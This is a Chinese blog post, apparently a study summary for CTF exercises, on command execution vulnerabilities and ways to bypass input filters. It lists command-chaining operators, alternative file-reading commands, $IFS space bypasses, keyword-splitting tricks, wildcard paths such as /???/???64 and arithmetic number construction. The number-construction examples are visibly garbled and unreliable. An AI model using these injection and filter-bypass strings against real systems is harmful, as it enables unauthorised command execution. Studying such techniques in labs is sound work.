总结,复习,整合命令执行漏洞实现及其绕过(绕过方式大全)

今日学习目标:
1复习一下以前的内容
2总结整合一下过滤方法
✅创作者:贤鱼
个人主页:贤鱼的个人主页
专栏系列:网络安全
⏰如果有需要可以阅读前两章
25分钟了解命令执行漏洞【例题+详细讲解】(一)
25分钟了解命令执行漏洞【例题+详细讲解】(二)


命令执行漏洞

  • 复习内容:
    • 漏洞原理
    • 思路
    • 实现过程
  • 绕过过滤方法大融合
        • Linux中的连接符
        • 查看文件的命令
        • 绕过空格方式
        • 绕过关键字
        • 过滤全部字符
        • 构造数字

复习内容:

漏洞原理

控制可执行系统命令的函数

思路

控制函数,寻找flag,并且根据其对应过滤内容绕过过滤

实现过程

通过ls和ls /查看当前目录下以及根目录,通过cat,tac等打开flag

绕过过滤方法大融合

Linux中的连接符

大部分题目中都带有如下内容或者与其作用相似的,我们为了执行命令必须让下面这段代码失去作用
在这里插入图片描述
这里就需要介绍到连接符了,具体内容可以查看以往两期,这里我们重在总结:

连接符

cat flag.php;ls
执行完cat,再执行ls
cat flag.php&&ls
cat成功执行再执行ls
cat flag.php||ls
cat执行失败执行ls
cat flag.php|ls
将flag的内容作为第二个命令的输入
cat flag.php ‘cat love xianyu’
先执行单引号内内容,将结果作为命令的一部分
cat flag.php$(cat love xianyu)
先执行¥()内内容,将结果作为命令的一部分

查看文件的命令

如果遇到了过滤可以相互替换

命令(使用方法):
cat (cat flag.php)
tac (tac flag.php)
more (more flag.php)
less (less flag.php)
head (head flag.php)
nl (nl flag.pgp)
od(od -c flag.php)
vi (vi flag.php)
vim (vim flag.php)
sort (sort flag.php)
uniq (uniq flag.php)
file (file -f flag.pgp)
grep (grep flag.php)
paste (paste flag.php)
xxd (xxd flag.php)

绕过空格方式

cat flag.php
cat$IFSflag.php

cat$IFS$1flag.php

cat${IFS}flag.php

绕过关键字

有时候会过滤掉类似flag的关键字,可以通过一下方式绕过

flag
fl’a’g单引号
fl"a"g双引号
fl\ag反斜杠
fl$@ag¥@

也可以拼接字符

a=c;c=t;d=a; a a ad$c拼接完就是cat

a=f;c=a;d=g;b=l;cat$IFS 1 1 1a b b bc$d.phpabcd拼接出来flag

过滤全部字符

/bin/base64
/???/???64 ???

构造数字

echo $(())
0
echo ( (   ((~ (( (())))
-1
echo ( (   ((~ (( (()))) ( (   ((~ (( (()))) ( (   ((~ (( (())))
-1-1-1
echo ( ( (( (((($(())))$(( ( ( ) ) ) ) (()))) (())))((~$(())))))
-3
echo ( (   ((~ (( (( ( (   ((~ (( (()))) ( (   ((~ (( (()))) ( (   ((~ (( (())))))))
2

结束语
贤鱼依旧会不定期更新已有内容,并且会继续更新新的内容,还请大家继续关注支持贤鱼!!!

你可能感兴趣的:(网络安全,php,安全,web安全)